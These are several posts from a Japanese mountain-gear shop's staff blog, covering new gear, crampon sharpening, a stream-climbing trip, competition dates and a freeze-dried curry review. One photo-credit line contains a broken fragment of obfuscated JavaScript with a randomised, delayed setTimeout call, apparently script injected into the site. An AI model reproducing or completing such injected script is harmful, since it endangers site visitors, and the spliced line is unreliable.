KONGのダック
@7,665

ロープとテープに対応するブロッカー。
その手の物は各メーカーに存在はしますが、テープにも対応していて、対応ロープ幅が広く軽いのはダックです。(W社マーク参より1mm広い)。
レンジはロープが8-13mm、テープが10-15mm。
重量70g!!
デナリネットショップの「アッセンダー/プーリー」コーナーへ

山の店デナリのスタッフが綴るブログです
KONGのダック
@7,665

ロープとテープに対応するブロッカー。
その手の物は各メーカーに存在はしますが、テープにも対応していて、対応ロープ幅が広く軽いのはダックです。(W社マーク参より1mm広い)。
レンジはロープが8-13mm、テープが10-15mm。
重量70g!!
デナリネットショップの「アッセンダー/プーリー」コーナーへ
この前のパタと同じパターンに!!
バーグ入荷情報。
ここもパタと同じパターン、バックから↓
■前面、背面、メイン複数にポケットが設けられていて自分に合った仕訳ができるバック。
FLUX 15 (フラックス15)
@7,350

***************************************
■カラフルなベースレイヤーでバーグハウス独自素材。
「サーマル ロングスリーブ ジップ」
@8,190
アルゲンティウムテクノロジー(銀イオンテクノロジーを採用)
バーグハウスが独自に開発したアルゲンティウム®ファブリックは、銀イオンの性質を利用したテクノロジーによって、半永久的な防臭効果を保有しているそうです。
■3シーズン対応の全天候型で、細くストレッチ性もありハメ心地GOOなグローブ。
「TREKKING GLOVE」 @2,940
手の甲側に耐水圧と透湿性に優れた耐久撥水を施した、軽量なグローブ。パーム側にはグリップ性と耐久性に優れた合成革を施しています。

違いが分かる10%の大人の依頼があるので、工場長も退屈な日々を活き活き生活出来る。今日のお題は「縦爪のメンテ」。

今シーズン初仕事は昨年DebutのPETZL社 LYNX(リンクス)さんでございます。縦爪の研ぎはそこそこ技が必要なんです、だから頼む、強者・勇者のちびっ子諸君、お兄さんの邪魔せんでくれ。

先ずはグラインダーで成形のために荒くない荒削り。手研より歪まず正確です。タダ、「大胆」は絶対止めましょう、電動工具使用の際は「繊細」以外厳禁、間違えなく後悔します。

荒削りが終われば、ひたすら手研で仕上げ。 先っちょ△にします。下Before・上After、一目瞭然。

ちなみに、しょっちゅうこんな事しているので気になるのですが、爪を止めてあるネジは緩みます!。今回も研ぎ始めから爪がガタガタ動いて作業出来ません。お店の中には十分道具が揃っているので問題有りませんが、現場では大ピンチ間違えなし!!。出かける前にちゃんと見ておきましょう。

ちなみに、こちら工場長がアプ近現場に持参する道具類。困ったら声掛けて下さい。
<初心者らぼらーのために、バックナンバーほじくり返してクランポン特集>
このところ、“New Visitor”が37%台を維持してるので機嫌が良い、やる気でます!。ネズミ講まがいの新人勧誘で目指せ40%台!。マニアの皆様、ご協力下さい(笑)。
工場長は1人寂しく作業中です。スタッフは店内で適当に過ごしていて、まるで構ってくれない。ただ、視線釘付け率99%、お子様に大人気な「シャープな日々」がスタートです。

まぁ、単独行動であれお母さんと一緒であれ、視線釘付け、進行方向と視線がシンクロしない。「ぷっ、お子ちゃまだこと」。ただ、「お子ちゃま」だと思って油断は出来ない。中には立ち止まって話しかけてくる強者が20%ほどいる、「ねぇ~、何やってるの?、熱くないの?」、「うるせ~んダヨ、ガキんちょ!、こっちは息止めて作業するぐらい集中してるんダヨ!、『知らない人と話なんかしちゃいけない』って教わらなかったのかよ!!」と言いたいところだが、そこはお子様人気度99%、可も不可もない「聞こえないふり」で押し通す。
しかし、5%の勇者は「ねぇ~、ねぇ~、だから何でそんな事してるの?」としつこく会話を求めてくる。分かった!、説明するからしっかり聞いて帰れ!。あぁ~、今日も子供たちの熱い視線を感じなが工場長は頑張っております。「ふぅ~ん、大変だね、頑張っておじさん」。だから体も心もボロボロ、本日の疲労度99%で(つづく)。
パタゴニアらしいハイセンスでビビットな商品が入荷ー!!
まずはバック類↓
耐水性と耐久性に優れたパックとメッセンジャー!!
■BLACK HOLE PACK (35L)
@18,900

■BLACK HOLE MESSENGER (22L)
@15,750
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かわいいサイズのバック。
■MINI MASS (10L)
@9,450
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冬のマストアイテム!!
■ポーラテックのパワードライを使用したベースレイヤー系各種。
■プリマロフトを使用したベスト、ジャケット、フーディ、プルオーバー各種。

他の商品も入荷中です!!
売っておいて何なんですが、正確なパーツの付け方が分からない。ココは「インチキ山道具屋」の称号を甘受すべきか、「何でも知ってる訳ではございません!」と軽く逆ギレしてこの場を乗り切ろーか?、久々現場で焦った物はこちら。GRANITE GEAR社さんのCROWN V.C.60(クラウン う゛ぇいぱーかれんと60 @23,100)。
こ奴にコレをつけるのですが、どーするの?。オイオイ、シンプルすぎてどーにでもなりそーなので、どーにもならな・・・、暫く考えてしまった。
え~、答えから最初に。 ただ、BLAZE A.C.60(@24,990)という別モデルなので、参考回答です。クラウンの場合、前が赤印のハトメの所、後がプラスチック。


そんでもって、分かれば簡単、ほれ。(↓写真提供:andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands/index.htm” target=”_blank”>VERTEXの偉い人)

「単純過ぎなんだよ、いや~、こんなの一瞬で分かる訳ないじゃん! 脳ミソ100万回/rpmで考えちゃったじゃん!!、知ってた!?、いとちゃん?」と自信満々で聞いたところ、『ハイ、常識です』と一言・・・。アレ?俺やっちまった?。へーきです、マダオ以外は優秀なスタッフ揃ってます。 いいよ、いいよ、僕はLEOPARD(レパード) V.C.46/A.C.58からやり直すから・・・。
サレワのウェアが入りました!!
ソフトシェルベストや、取り扱いが楽なプリマロフトのかっちょいいジャケット。
ふわふわフリースも入荷(^^)
プリマのジャケットはラインが細めに作られています。

SALEWAは取り扱い店舗も少ないので希少です!!
お・は・や・め・に。
ウインドストップ系ベスト、サーマル系ベスト売れています。
各メーカー今年のFWで展開されない希少モデルもまだギリギリあります。
高級腹巻の快適さの実感はお早めに(^^)
ベストの過去記事もいちよリンクしておきまーす。
http://www.denali.ne.jp/blog/?p=100
いつの間にか秋になって山も鮮やかになってきましたが、皆様はいかがお過ごしでしょうか。
まだまだ沢のシーズンは続いていますが、秋の沢は夏の沢みたいなみずみずしさは無い物の、鮮やかな彩りがある様はいとをかし。
と言うことで、先週末は金峰山から本谷川に注ぐ金山沢(イサゴ沢)に行ってきました。
前日に旭タクシーの建物で一泊して、翌朝にタクシーで瑞牆山荘の手前まで行った後、ちょっと歩いて入渓点です。
下部はゴルジュの中、少しテクニカルな小滝を何個か越えて、上部では紅葉に囲まれたナメを登り軽い藪漕ぎで大日岩と金峰山頂との登山道に出ます。4時間ちょっとの日帰りルートなので週末にちょっと沢に行きたいけど、丹沢はちょっとな・・・って時にいい沢でした。紅葉は今週末がピークのような感じでした。

デナリも一階はまだ夏物で、二階は冬物となんだか秋みたいな雰囲気ですが、襟シャツを買い忘れたキャップを買い忘れたなんて人は急いで来ないと明日にはダウンになっていましょう。知らないですけど。
役に立っているかどーか今一分かりませんが、告知ポスター張るだけけでは何なんでご紹介。

先ずはBLoC2012(ボルダリングローカルサーキット2012)さんの告知から。

■スケジュール
第1戦 2012年10月21日(日) ライノ&バード
第2戦 2012年11月18日(日) ロッククラフト川越
第3戦 2012年12月09日(日) エナジー高田馬場店
第4戦 2013年02月17日(日) インフィニティ
第5戦 2013年03月09日(土) vert
第6戦 2013年03月31日(日) ロストキャニオン
詳細はこちらから。http://b-lo-c.cocolog-nifty.com/blog/
続いて、2012IFSC CLIMBING WORLD CUP INZAI(2012いんたーなしょなる・ふぇでれいしょん・おぶ・すぽーつ くらいみんぐ わーるどかっぷ 印西)さんからのお知らせ。

■スケジュール
2012年10月27日(土) 女子予選9:30~/男子予選13:00~
2012年10月28日(日) 男子準決勝10:30~/女子決勝14:30~/男子決勝15:30~
詳細はこちらから。http://www.wc-inzai.jp/
そんでもって、MAMMUT CLIMBING COMPETITION2012(マムート クライミング コンペティション2012)さんのお知らせ。

■スケジュール
2012年11月10日(土) スクエアクライミングセンター
現代の食料は実に軽量で体積も小さい。さらに水分も燃料消費も少なくてすむ。ウルトラライトは装備のみならず食料もまた例外ではないようだ。
しかしそんな現代においても、学生の山行での食料計画は大抵の場合、生米生野菜が基本である。そして一日の食費は500円という遠足のおやつ並みの予算からすれば、α米(白米:294円)だフリーズドライ(カレー:315円)だなんてブルジョワジーの食べ物など我々の食卓にあがるはずも無いのである。もっとも学生などそんなもんだと言われればそれまでであるが。
ちなみに今回の中国遠征での食糧はα米と具無しカレー、具無しシチューであった。
・・・。カレー、シチューはただのブロックのルーを溶かしたものであるが、アレ?おかしくね?α米食ってんじゃん?というご指摘があると思うので予め答えておこうと思う。
やはり長期山行や軽量化を意識した活動では食料の軽量化は欠かせない物なので仕方なくα米の使用を決断したが、今回使用したα米は全て学校に常備されている非常食だったものだ。賞味期限は当然のように切れている。こんな時の為にも部室にはそういった学校の放出品的食料が常備されているのだ。やったね。(ちなみに生米は流石農大と言うべきか、OBから毎年届くものを使用している。)
と、少し脱線してしまったがそんなブルジョワジーの食べ物は果たして旨いのだろうか?少なくともα米は旨いとは思えないが、果たしてドライフーズはどうだろうか。先日、思いがけずアマノフーズの『香る野菜カレー』315円を食べる機会があったので試してみた。
お湯を注いでかき混ぜるだけ(約十秒)という簡単な調理はさることはながら、この香りはなんなんだ!確かに元々カレーは香辛料の香りが強いのだが、なんとも食欲をそそるいい香りが鼻孔をくすぐる。単純に私が前日から何も食べていないとはいえ、これは当たりの予感である。わずかな大きさのブロックから、ざく切りのナスや玉ねぎ、インゲン豆があふれてきて、見た目にもおいしい。もはや味の想像などいいともたやすくできた。というか、おいしかった。どちらかと言えばスープカレーでいわゆる日本のカレーではないが、スープのサラッとした感じがα米にはちょうどよかった。そう、これならα米もまたおいしく食べれるというものだ。もちろんスープのように飲んでもまたおいしい。

今回はカレーのみであったがアマノのドライフーズは中華丼や親子丼などの丼物や豚汁やナメコ汁などミソスープもある。ちょっとした山行のお昼ご飯にもちょうど良いのではないだろうか。オーナー曰くしびれるほど旨いそうだ。ためしに一食どうだろうか。



α米も数種類から選べます。
と こ ろ でじゃあ今度からこれにしますか?と聞かれたらそれは悩む。これは我々にとって、いわばツェルトビバークをするか山小屋に泊まるかほど大きな問題なのである・・・。